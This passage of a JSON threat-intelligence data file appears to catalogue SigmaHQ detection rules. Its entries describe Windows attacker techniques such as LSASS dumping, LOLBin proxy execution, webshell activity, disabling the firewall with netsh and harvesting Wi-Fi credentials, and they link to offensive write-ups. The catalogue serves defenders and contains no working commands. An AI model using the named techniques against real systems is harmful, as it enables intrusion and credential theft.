"attack.defense_evasion", "attack.t1218.007" ] }, "related": [ { "dest-uuid": "365be77f-fc0e-42ee-bac8-4faf806d9336", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8150732a-0c9d-4a99-82b9-9efb9b90c40c", "value": "Suspicious Msiexec Quiet Install From Remote Location" }, { "description": "Attackers can use explorer.exe for evading defense mechanisms", "meta": { "author": "Furkan CALISKAN, @caliskanfurkan_, @oscd_initiative", "creation_date": "2020/10/05", "falsepositive": [ "Legitimate explorer.exe run from cmd.exe" ], "filename": "proc_creation_win_susp_explorer.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/CyberRaiju/status/1273597319322058752", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_explorer.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9eb271b9-24ae-4cd4-9465-19cfc1047f3e", "value": "Proxy Execution Via Explorer.exe" }, { "description": "Detects the use of CreateMiniDump hack tool used to dump the LSASS process memory for credential extraction on the attacker's machine", "meta": { "author": "Florian Roth", "creation_date": "2019/12/22", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_hktl_createminidump.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_createminidump.yml" ], "tags": [ "attack.credential_access", "attack.t1003.001" ] }, "related": [ { "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "36d88494-1d43-4dc0-b3fa-35c8fea0ca9d", "value": "CreateMiniDump Hacktool" }, { "description": "Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems", "meta": { "author": "frack113, Christopher Peacock '@securepeacock', SCYTHE '@scythe_io'", "creation_date": "2021/12/07", "falsepositive": [ "Administrative activity" ], "filename": "proc_creation_win_susp_netsh_discovery_command.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md#atomic-test-2---list-windows-firewall-rules", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_netsh_discovery_command.yml" ], "tags": [ "attack.discovery", "attack.t1016" ] }, "uuid": "0e4164da-94bc-450d-a7be-a4b176179f1f", "value": "Suspicious Netsh Discovery Command" }, { "description": "Detects the use of Advanced IP Scanner. Seems to be a popular tool for ransomware groups.", "meta": { "author": "@ROxPinTeddy, Nasreddine Bencherchali", "creation_date": "2020/05/12", "falsepositive": [ "Legitimate administrative use" ], "filename": "proc_creation_win_advanced_ip_scanner.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/", "https://assets.documentcloud.org/documents/20444693/fbi-pin-egregor-ransomware-bc-01062021.pdf", "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", "https://labs.f-secure.com/blog/prelude-to-ransomware-systembc", "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/Advanced%20IP%20Scanner", "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_advanced_ip_scanner.yml" ], "tags": [ "attack.discovery", "attack.t1046", "attack.t1135" ] }, "uuid": "bef37fa2-f205-4a7b-b484-0759bfd5f86f", "value": "Advanced IP Scanner" }, { "description": "Detects a privilege elevation attempt by coercing NTLM authentication on the Printer Spooler service", "meta": { "author": "Elastic (idea), Tobias Michalski", "creation_date": "2022/05/04", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_ntlmrelay.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/elastic/detection-rules/blob/dd224fb3f81d0b4bf8593c5f02a029d647ba2b2d/rules/windows/credential_access_relay_ntlm_auth_via_http_spoolss.toml", "https://twitter.com/med0x2e/status/1520402518685200384", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntlmrelay.yml" ], "tags": [ "attack.privilege_escalation", "attack.credential_access", "attack.t1212" ] }, "related": [ { "dest-uuid": "9c306d8d-cde7-4b4c-b6e8-d0bb16caca36", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "bb76d96b-821c-47cf-944b-7ce377864492", "value": "Suspicious NTLM Authentication on the Printer Spooler Service" }, { "description": "Detects usage of the 'Get-Clipboard' cmdlet via CLI", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2020/05/02", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_powershell_get_clipboard.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/OTRF/detection-hackathon-apt29/issues/16", "https://threathunterplaybook.com/evals/apt29/detections/7.A.2_F4609F7E-C4DB-4327-91D4-59A58C962A02.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_get_clipboard.yml" ], "tags": [ "attack.collection", "attack.t1115" ] }, "uuid": "b9aeac14-2ffd-4ad3-b967-1354a4e628c3", "value": "PowerShell Get-Clipboard Cmdlet Via CLI" }, { "description": "Adversaries can use the inbuilt expand utility to decompress cab files as seen in recent Iranian MeteorExpress attack", "meta": { "author": "Bhabesh Raj", "creation_date": "2021/07/30", "falsepositive": [ "System administrator Usage" ], "filename": "proc_creation_win_expand_cabinet_files.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://labs.sentinelone.com/meteorexpress-mysterious-wiper-paralyzes-iranian-trains-with-epic-troll", "https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_expand_cabinet_files.yml" ], "tags": [ "attack.execution", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9f107a84-532c-41af-b005-8d12a607639f", "value": "Cabinet File Expansion" }, { "description": "Detects the usage of schtasks with the delete flag and the asterisk symbole to delete all tasks from the schedule of the local computer, including tasks scheduled by other users.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/09/09", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_susp_schtasks_delete_all.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-delete", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_delete_all.yml" ], "tags": [ "attack.impact", "attack.t1489" ] }, "related": [ { "dest-uuid": "20fb2507-d71c-455d-9b6d-6104461cf26b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "220457c1-1c9f-4c2e-afe6-9598926222c1", "value": "Delete All Scheduled Tasks" }, { "description": "Detects patterns found in process executions cause by China Chopper like tiny (ASPX) webshells", "meta": { "author": "Florian Roth (rule), MSTI (query)", "creation_date": "2022/10/01", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_webshell_chopper.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_webshell_chopper.yml" ], "tags": [ "attack.persistence", "attack.t1505.003", "attack.t1018", "attack.t1033", "attack.t1087" ] }, "uuid": "fa3c117a-bc0d-416e-a31b-0c0e80653efb", "value": "Chopper Webshell Process Pattern" }, { "description": "Detects TropicTrooper activity, an actor who targeted high-profile organizations in the energy and food and beverage sectors in Asia", "meta": { "author": "@41thexplorer, Microsoft Defender ATP", "creation_date": "2019/11/12", "falsepositive": "No established falsepositives", "filename": "proc_creation_win_apt_tropictrooper.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://cloudblogs.microsoft.com/microsoftsecure/2018/11/28/windows-defender-atp-device-risk-score-exposes-new-cyberattack-drives-conditional-access-to-protect-networks/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_tropictrooper.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8c7090c3-e0a0-4944-bd08-08c3a0cecf79", "value": "TropicTrooper Campaign November 2018" }, { "description": "Detects execution of the \"mofcomp\" utility as a child of a suspicious shell or script running utility or by having a supsicious path in the commandline.\nThe \"mofcomp\" utility parses a file containing MOF statements and adds the classes and class instances defined in the file to the WMI repository.\nAttackers abuse this utility to install malicious MOF scripts\n", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/07/12", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_mofcomp_execution.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://docs.microsoft.com/en-us/windows/win32/wmisdk/mofcomp", "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", "https://github.com/The-DFIR-Report/Sigma-Rules/blob/75260568a7ffe61b2458ca05f6f25914efb44337/win_mofcomp_execution.yml", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_mofcomp_execution.yml" ], "tags": [ "attack.execution", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1dd05363-104e-4b4a-b963-196a534b03a1", "value": "Suspicious Mofcomp Execution" }, { "description": "Detects specific process characteristics of Winnti malware noticed in Dec/Jan 2020 in a campaign against Honk Kong universities", "meta": { "author": "Florian Roth, Markus Neis", "creation_date": "2020/02/01", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_apt_winnti_mal_hk_jan20.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.welivesecurity.com/2020/01/31/winnti-group-targeting-universities-hong-kong/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_winnti_mal_hk_jan20.yml" ], "tags": [ "attack.defense_evasion", "attack.t1574.002", "attack.g0044" ] }, "uuid": "3121461b-5aa0-4a41-b910-66d25524edbb", "value": "Winnti Malware HK University Campaign" }, { "description": "Detects netsh commands that turns off the Windows firewall", "meta": { "author": "Fatih Sirin", "creation_date": "2019/11/01", "falsepositive": [ "Legitimate administration" ], "filename": "proc_creation_win_susp_netsh_firewall_disable.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.winhelponline.com/blog/enable-and-disable-windows-firewall-quickly-using-command-line/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md#atomic-test-1---disable-microsoft-defender-firewall", "https://app.any.run/tasks/210244b9-0b6b-4a2c-83a3-04bd3175d017/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_netsh_firewall_disable.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.004", "attack.s0108" ] }, "related": [ { "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "57c4bf16-227f-4394-8ec7-1b745ee061c3", "value": "Firewall Disabled via Netsh" }, { "description": "Detects execution of attacker-controlled WsmPty.xsl or WsmTxt.xsl via winrm.vbs and copied cscript.exe (can be renamed)", "meta": { "author": "Julia Fomina, oscd.community", "creation_date": "2020/10/06", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_susp_winrm_awl_bypass.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_winrm_awl_bypass.yml" ], "tags": [ "attack.defense_evasion", "attack.t1216" ] }, "related": [ { "dest-uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "074e0ded-6ced-4ebd-8b4d-53f55908119d", "value": "AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl" }, { "description": "Detects suspicious execution of Regasm/Regsvcs utilities", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/25", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_regasm.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Regasm/", "https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/", "https://www.fortiguard.com/threat-signal-report/4718?s=09", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_regasm.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.009" ] }, "related": [ { "dest-uuid": "c48a67ee-b657-45c1-91bf-6cdbe27205f8", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "cc368ed0-2411-45dc-a222-510ace303cb2", "value": "Regasm/Regsvcs Suspicious Execution" }, { "description": "Detects browsers starting with the remote debugging flags. Which is a technique often used to perform browser injection attacks", "meta": { "author": "pH-T, Nasreddine Bencherchali (update)", "creation_date": "2022/07/27", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_browser_remote_debugging.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.mdsec.co.uk/2022/10/analysing-lastpass-part-1/", "https://github.com/defaultnamehere/cookie_crimes/", "https://github.com/wunderwuzzi23/firefox-cookiemonster", "https://yoroi.company/wp-content/uploads/2022/05/EternityGroup_report_compressed.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browser_remote_debugging.yml" ], "tags": [ "attack.credential_access", "attack.t1185" ] }, "related": [ { "dest-uuid": "544b0346-29ad-41e1-a808-501bb4193f47", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b3d34dc5-2efd-4ae3-845f-8ec14921f449", "value": "Browser Started with Remote Debugging" }, { "description": "Detect use of PDQ Deploy remote admin tool", "meta": { "author": "frack113", "creation_date": "2022/10/01", "falsepositive": [ "Legitimate use" ], "filename": "proc_creation_win_pdq_deploy.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1072/T1072.md", "https://www.pdq.com/pdq-deploy/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pdq_deploy.yml" ], "tags": [ "attack.execution", "attack.lateral_movement", "attack.t1072" ] }, "uuid": "d679950c-abb7-43a6-80fb-2a480c4fc450", "value": "Use of PDQ Deploy Remote Adminstartion Tool" }, { "description": "Detects suspicious PowerShell invocation command parameters", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2023/01/05", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_powershell_invocation_specific.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_invocation_specific.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "536e2947-3729-478c-9903-745aaffe60d2", "value": "Suspicious PowerShell Invocations - Specific - ProcessCreation" }, { "description": "Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report", "meta": { "author": "Bhabesh Raj", "creation_date": "2021/05/05", "falsepositive": [ "Very unlikely" ], "filename": "proc_creation_win_pingback_backdoor.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel", "https://app.any.run/tasks/4a54c651-b70b-4b72-84d7-f34d301d6406", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pingback_backdoor.yml" ], "tags": [ "attack.persistence", "attack.t1574.001" ] }, "uuid": "b2400ffb-7680-47c0-b08a-098a7de7e7a9", "value": "Pingback Backdoor" }, { "description": "Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint.", "meta": { "author": "Matthew Green - @mgreen27, Florian Roth", "creation_date": "2019/06/15", "falsepositive": [ "Custom applications use renamed binaries adding slight change to binary name. Typically this is easy to spot and add to whitelist" ], "filename": "proc_creation_win_renamed_binary_highly_relevant.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://mgreen27.github.io/posts/2019/05/12/BinaryRename.html", "https://mgreen27.github.io/posts/2019/05/29/BinaryRename2.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_binary_highly_relevant.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036.003" ] }, "related": [ { "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "0ba1da6d-b6ce-4366-828c-18826c9de23e", "value": "Highly Relevant Renamed Binary" }, { "description": "Identifies use of the bcdedit command to delete boot configuration data. This tactic is sometimes used as by malware or an attacker as a destructive technique.", "meta": { "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", "creation_date": "2019/10/24", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_bootconf_mod.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://eqllib.readthedocs.io/en/latest/analytics/c4732632-9c1d-4980-9fa8-1d98c93f918e.html", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bootconf_mod.yml" ], "tags": [ "attack.impact", "attack.t1490" ] }, "related": [ { "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1444443e-6757-43e4-9ea4-c8fc705f79a2", "value": "Modification of Boot Configuration" }, { "description": "Detects PowerShell command line patterns in combincation with encoded commands that often appear in malware infection chains", "meta": { "author": "Florian Roth", "creation_date": "2022/05/24", "falsepositive": [ "Other tools that work with encoded scripts in the command line instead of script files" ], "filename": "proc_creation_win_susp_powershell_encoded_cmd_patterns.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/b9040c63-c140-479b-ad59-f1bb56ce7a97/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_encoded_cmd_patterns.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b9d9cc83-380b-4ba3-8d8f-60c0e7e2930c", "value": "Suspicious PowerShell Encoded Command Patterns" }, { "description": "Detect the harvesting of wifi credentials using netsh.exe", "meta": { "author": "Andreas Hunkeler (@Karneades), oscd.community", "creation_date": "2020/04/20", "falsepositive": [ "Legitimate administrator or user uses netsh.exe wlan functionality for legitimate reason" ], "filename": "proc_creation_win_netsh_wifi_credential_harvesting.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_wifi_credential_harvesting.yml" ], "tags": [ "attack.discovery", "attack.credential_access", "attack.t1040" ] }, "uuid": "42b1a5b8-353f-4f10-b256-39de4467faff", "value": "Harvesting of Wifi Credentials Using netsh.exe" }, { "description": "Detects scheduled task creations that have suspicious action command and folder combinations", "meta": { "author": "Florian Roth", "creation_date": "2022/04/15", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_schtasks_folder_combos.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-dream-job-chemical", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_folder_combos.yml" ], "tags": [ "attack.execution", "attack.t1053.005" ] }, "related": [ { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "8a8379b8-780b-4dbf-b1e9-31c8d112fefb", "value": "Schtasks From Suspicious Folders" }, { "description": "Detects Access to Domain Group Policies stored in SYSVOL", "meta": { "author": "Markus Neis, Jonhnathan Ribeiro, oscd.community", "creation_date": "2018/04/09", "falsepositive": [ "Administrative activity" ], "filename": "proc_creation_win_susp_sysvol_access.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://adsecurity.org/?p=2288", "https://www.hybrid-analysis.com/sample/f2943f5e45befa52fb12748ca7171d30096e1d4fc3c365561497c618341299d5?environmentId=100", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_sysvol_access.yml" ], "tags": [ "attack.credential_access", "attack.t1552.006" ] }, "related": [ { "dest-uuid": "8d7bd4f5-3a89-4453-9c82-2c8894d5655e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "05f3c945-dcc8-4393-9f3d-af65077a8f86", "value": "Suspicious SYSVOL Domain Group Policy Access" }, { "description": "Detects Schtask creations that point to a suspicious folder or an environment variable often used by malware", "meta": { "author": "Florian Roth", "creation_date": "2022/02/21", "falsepositive": [ "Benign scheduled tasks creations or executions that happen often during software installations", "Software that uses the AppData folder and scheduled tasks to update the software in the AppData folders" ], "filename": "proc_creation_win_susp_schtasks_env_folder.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.joesandbox.com/analysis/514608/0/html#324415FF7D8324231381BAD48A052F85DF04", "https://www.welivesecurity.com/2022/01/18/donot-go-do-not-respawn/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_schtasks_env_folder.yml" ], "tags": [ "attack.execution", "attack.t1053.005" ] }, "related": [ { "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "81325ce1-be01-4250-944f-b4789644556f", "value": "Suspicious Schtasks From Env Var Folder" }, { "description": "Detects suspicious DACL modifications via the \"Set-Service\" cmdlet using the \"SecurityDescriptorSddl\" flag (Only available with PowerShell 7) that can be used to hide services or make them unstopable", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/10/18", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_service_dacl_modification_set_service.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.sans.org/blog/red-team-tactics-hiding-windows-services/", "https://docs.microsoft.com/pt-br/windows/win32/secauthz/sid-strings", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_service_dacl_modification_set_service.yml" ], "tags": [ "attack.persistence", "attack.t1543.003" ] }, "uuid": "a95b9b42-1308-4735-a1af-abb1c5e6f5ac", "value": "Suspicious Service DACL Modification Via Set-Service Cmdlet" }, { "description": "Detects the export of a crital Registry key to a file.", "meta": { "author": "Oddvar Moe, Sander Wiebing, oscd.community", "creation_date": "2020/10/12", "falsepositive": [ "Dumping hives for legitimate purpouse i.e. backup or forensic investigation" ], "filename": "proc_creation_win_regedit_export_critical_keys.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://lolbas-project.github.io/lolbas/Binaries/Regedit/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_export_critical_keys.yml" ], "tags": [ "attack.exfiltration", "attack.t1012" ] }, "uuid": "82880171-b475-4201-b811-e9c826cd5eaa", "value": "Exports Critical Registry Keys To a File" }, { "description": "Detects a flag anomaly in which regsvr32.exe uses a /i flag without using a /n flag at the same time", "meta": { "author": "Florian Roth", "creation_date": "2019/07/13", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_regsvr32_flags_anomaly.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/sbousseaden/status/1282441816986484737?s=12", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_flags_anomaly.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.010" ] }, "related": [ { "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "b236190c-1c61-41e9-84b3-3fe03f6d76b0", "value": "Regsvr32 Flags Anomaly" }, { "description": "Detects unusual parent or children of the wab.exe (Windows Contacts) and Wabmig.exe (Microsoft Address Book Import Tool) processes as seen being used with bumblebee activity", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/12", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_wab_unusual_parents.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", "https://thedfirreport.com/2022/08/08/bumblebee-roasts-its-way-to-domain-admin/", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wab_unusual_parents.yml" ], "tags": [ "attack.defense_evasion", "attack.execution" ] }, "uuid": "63d1ccc0-2a43-4f4b-9289-361b308991ff", "value": "Wab/Wabmig Unusual Parent Or Child Processes" }, { "description": "Detects the execution of an executable that is typically used by PlugX for DLL side loading started from an uncommon location", "meta": { "author": "Florian Roth", "creation_date": "2017/06/12", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_plugx_susp_exe_locations.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://countuponsecurity.com/2017/06/07/threat-hunting-in-the-enterprise-with-appcompatprocessor/", "http://www.hexacorn.com/blog/2016/03/10/beyond-good-ol-run-key-part-36/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_plugx_susp_exe_locations.yml" ], "tags": [ "attack.s0013", "attack.defense_evasion", "attack.t1574.002" ] }, "uuid": "aeab5ec5-be14-471a-80e8-e344418305c2", "value": "Executable Used by PlugX in Uncommon Location" }, { "description": "Detects the registration of a debugger for a program that is available in the logon screen (sticky key backdoor).", "meta": { "author": "Florian Roth, oscd.community, Jonhnathan Ribeiro", "creation_date": "2019/09/06", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_install_reg_debugger_backdoor.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", "https://blogs.technet.microsoft.com/jonathantrull/2016/10/03/detecting-sticky-key-backdoors/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_install_reg_debugger_backdoor.yml" ], "tags": [ "attack.persistence", "attack.privilege_escalation", "attack.t1546.008" ] }, "uuid": "ae215552-081e-44c7-805f-be16f975c8a2", "value": "Suspicious Debugger Registration Cmdline" }, { "description": "Detects base64 encoded strings used in hidden malicious PowerShell command lines", "meta": { "author": "John Lambert (rule)", "creation_date": "2019/01/16", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_powershell_hidden_b64_cmd.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "http://www.leeholmes.com/blog/2017/09/21/searching-for-content-in-base-64-strings/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_powershell_hidden_b64_cmd.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": 